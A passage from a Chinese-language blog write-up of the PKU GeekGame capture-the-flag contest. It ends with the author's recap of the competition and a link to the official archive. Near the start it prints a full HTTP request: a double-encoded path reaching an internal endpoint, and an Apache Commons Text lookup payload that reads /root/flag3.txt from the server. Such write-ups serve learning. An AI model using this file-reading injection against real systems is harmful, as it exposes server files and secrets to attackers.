最后,总得找个方法读文件了,正好看到了这个

于是构造 payload

POST /admin/http%253A%252F%252Flocalhost%253A8080%252Fbonus%253F/ HTTP/1.1
Host: prob08-hp8fbaeg.geekgame.pku.edu.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9DFC4E40600AB403B62117862E63EB8B
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

type=CommonsText&value=${file:utf-8:/root/flag3.txt}

终于出了!!!

麻了,还是不会 Java 啊,您们太会玩了(

小结

又是一年北京大学信息安全综合能力竞赛!

题目比隔壁 USTC Hackergame 难了不少,感觉更像真正的 CTF 题了

不过今年事情比较多,不大有时间来打了捏,基本就看了两三个晚上/凌晨,还是看到 24 日中午开始进入第二阶段只能拿 1/3 的分值,于是那天凌晨才急忙瞄了下题目,但能随手做出来的还不多,挺多要耐心找资料看文档审源码的……

再一看怎么周六中午就结束了,于是又瞄了下题目,基本上看题再到做出来都在第二阶段了,也没啥分了,只能勉强上个榜单了

由于时间关系咱主要就瞄了下 Misc 和 Web 题,其他题目也挺有意思的,出题水平还是很不错的,主办方的师傅们都辛苦了。

咱开了的题目也有好几道被卡住的,本来比赛结束的前一天晚上还想接着看的,但是中途日机器去了,于是就摸了((

说来今年 GeekGame 的榜单上看到了不少新面孔,喵喵老了啊。。打不动了,躺了.gif

就这样吧,还是以学习为主.jpg

官方题解、题目附件和源码等资料存档:

https://github.com/PKU-GeekGame/geekgame-2nd

(溜了溜了喵